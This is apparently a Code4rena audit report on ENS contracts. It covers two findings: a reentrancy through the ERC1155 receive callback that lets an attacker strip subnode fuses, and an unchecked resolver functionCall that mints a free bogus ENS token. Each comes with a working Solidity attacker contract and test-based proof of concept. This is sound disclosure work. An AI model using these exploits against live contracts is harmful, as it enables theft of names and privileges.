ENS contest - wastewa's results

Lines of code

https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L539 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L504 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L524 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/ERC1155Fuse.sol#L298

Vulnerability details

Impact

If users are granted subnode ownership through setSubnodeRecord or setSubnodeOwner in NameWrapper.sol, and that node is owned by the NameWrapper contract in the ENS registry (and the unwrap fuse is not set), then attackers can reset flags and do whatever they want with the subnode records.

I marked this as medium because users can recover from this if they noticed, and very specific circumstances have to be set, but the damage done can be large. The circumstances of this bug also don't seem unlikely. This mainly happens because _transferAndBurnFuses uses the _transfer function in the ERC1155Fuse.sol contract and that performs a callback through the ERC1155 _doSafeTransferAcceptanceCheck call.

Proof of Concept

I created a simple attacker contract and tested with a javascript test inside of the already existing test suite provided in the code:

Attacker.sol:

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./INameWrapper.sol";

import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol";

contract Attacker is ERC165, IERC1155Receiver
{
    INameWrapper public immutable nameWrapper;
    bytes32 private parentNode;
    bytes32 private labelHash;
    address private newOwner;

    constructor(INameWrapper _nameWrapper) {
        nameWrapper = _nameWrapper;
    }

    function setExpected(bytes32 _parentNode, bytes32 _labelHash, address _newOwner) public {
        parentNode = _parentNode;
        labelHash = _labelHash;
        newOwner = _newOwner;
    }

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        nameWrapper.unwrap(parentNode, labelHash, newOwner);
        return this.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(
        address,
        address,
        uint256[] calldata,
        uint256[] calldata,
        bytes calldata
    ) external pure returns (bytes4) {
        return this.onERC1155BatchReceived.selector;
    }
}

Javascript test to show this all works:

describe('setSubnodeOwner()', async () => {
    const label = 'ownerandwrap'
    const tokenId = labelhash(label)
    const wrappedTokenId = namehash(label + '.eth')

    before(async () => {
      await registerSetupAndWrapName(label, account, CANNOT_UNWRAP, 0)
    })

    it('Attacker can receive subnode, and skirt flags', async () => {
      // subnode data here
      let subLable = 'sub'
      let subHash = labelhash(subLable)
      let subFullName = `${subLable}.${label}.eth`
      let subNodeHash = namehash(subFullName)

      // launch our attacker contract... assume account 2 is attacker
      // set up data for attack
      let attacker = signers[1]
      const AttackerContract = await deploy('Attacker', NameWrapper.address)
      const AttackerContract2 = AttackerContract.connect(attacker)
      await AttackerContract2.setExpected(wrappedTokenId, subHash, attacker.address)

      // user 1 makes their subdomain
      await EnsRegistry.setApprovalForAll(NameWrapper.address, true)
      await NameWrapper.setSubnodeOwner(
        wrappedTokenId,
        subLable,
        account,
        CAN_DO_EVERYTHING,
        0
      )

      // user 1 now sells to user 2 with fuses set, user 2 provides attack address to receieve
      await NameWrapper.setSubnodeOwner(
        wrappedTokenId,
        subLable,
        AttackerContract.address,
        PARENT_CANNOT_CONTROL | CANNOT_UNWRAP | CANNOT_CREATE_SUBDOMAIN,
        MAX_EXPIRY
      )
      
      // after attack, attacker will own subdomain on ens
      expect(await EnsRegistry.owner(subNodeHash)).to.equal(
        attacker.address
      )

      // when attacker contract has unwrapped on recv, now we rewrap.
      await EnsRegistry2.setApprovalForAll(NameWrapper.address, true)
      await NameWrapper2.wrap(encodeName(subFullName), attacker.address, EMPTY_ADDRESS)

      // no fuses expected are present because of attack
      let [fuses, expiry] = await NameWrapper.getFuses(subNodeHash)
      expect(fuses).to.equal(0)
      expect(expiry).to.equal(0)
    })
})

Tools Used

javascript, solidity, and chai tests inside repo

Recommended Mitigation Steps

To make sure users can't exploit this, I would recommend making sure all state changes in the contract happen before we call any callbacks.

For example, a possible solution here is creating a special _transfer function in the ERC1155Fuse.sol that does a last _setData call with the new fuses before calling _doSafeTransferAcceptanceCheck, so passing in fuses and data into the function to set before the user gets any access.

Any solution that makes sure that callback happens after the new data is set is preferred and will work.

Lines of code

https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/ethregistrar/ETHRegistrarController.sol#L249-L268 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/ethregistrar/ETHRegistrarController.sol#L125 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/ethregistrar/BaseRegistrarImplementation.sol#L106

Vulnerability details

Impact

Users using the register function in ETHRegistrarController.sol, can create an additional bogus ENS entry (Keep the ERC721 and all the glory for as long as they want) for free by exploiting the functionCall in the _setRecords function. The only check there (in the setRecord function) is that the nodehash matches the originally registered ENS entry, this is extremely dangerous because the rest of the functionCall is not checked and the controller has very elevated privileges in ENS ecosystem (and probably beyond).

The single exploit I am showing is already very bad, but I expect there will be more if this is left in. An example of a potential hack is that some of the functions in other ENS contracts (which give the RegistrarController elevated privilege) have dynamic types as the first variables--if users can generate a hash that is a low enough number, they will be able to unlock more exploits in the ENS ecosystem because of how dynamic types are abi encoded. Other developers will probably also trust the ETHRegistrarController.sol, so other unknown dangers may come down the road.

The exploit I made (full code in PoC) can mint another ENS entry and keep it for as long as it wants, without paying more--will show code below.

Proof of Concept

Put this code in the TestEthRegistrarController.js test suite to run. I just appended this to tests at the bottom of file.

I called the BaseRegistrarImplementation.register function with the privileges of ETHRegistrarController by passing the base registrar's address as the resolver param in the ETHRegistrarController.register function call. I was able to set a custom duration at no additional cost.

The final checks of the PoC show that we own two new ENS entries from a single ETHRegistrarController.register call. The labelhash of the new bogus ENS entry is the nodehash of the first registered ENS entry.

  it('Should allow us to make bogus erc721 token in ENS contract', async () => {
    const label = 'newconfigname'
    const name = `${label}.eth`
    const node = namehash.hash(name)
    const secondTokenDuration = 788400000 // keep bogus NFT for 25 years;

    var commitment = await controller.makeCommitment(
      label,
      registrantAccount,
      REGISTRATION_TIME,
      secret,
      baseRegistrar.address,
      [
        baseRegistrar.interface.encodeFunctionData('register(uint256,address,uint)', [
          node,
          registrantAccount,
          secondTokenDuration
        ]),
      ],
      false,
      0,
      0
    )
    var tx = await controller.commit(commitment)
    expect(await controller.commitments(commitment)).to.equal(
      (await web3.eth.getBlock(tx.blockNumber)).timestamp
    )

    await evm.advanceTime((await controller.minCommitmentAge()).toNumber())
    var balanceBefore = await web3.eth.getBalance(controller.address)

    let tx2 = await controller.register(
      label,
      registrantAccount,
      REGISTRATION_TIME,
      secret,
      baseRegistrar.address,
      [
        baseRegistrar.interface.encodeFunctionData('register(uint256,address,uint)', [
          node,
          registrantAccount,
          secondTokenDuration
        ]),
      ],
      false,
      0,
      0,
      { value: BUFFERED_REGISTRATION_COST }
    )

    expect(await nameWrapper.ownerOf(node)).to.equal(registrantAccount)
    expect(await ens.owner(namehash.hash(name))).to.equal(nameWrapper.address)


    expect(await baseRegistrar.ownerOf(node)).to.equal( // this checks that bogus NFT is owned by us
      registrantAccount
    )
    expect(await baseRegistrar.ownerOf(sha3(label))).to.equal(
      nameWrapper.address
    )
  })

Tools Used

chai tests in repo

Recommended Mitigation Steps

I recommend being stricter on the signatures of the user-provided resolver and the function that is being called (like safeTransfer calls in existing token contracts). An example of how to do this is by creating an interface that ENS can publish for users that want to compose their own resolvers and call that instead of a loose functionCall. Users will be free to handle data however they like, while restricting the space of things that can go wrong.

I will provide a loose example here:

interface IUserResolver {
    function registerRecords(bytes32 nodeId, bytes32 labelHash, bytes calldata extraData)

}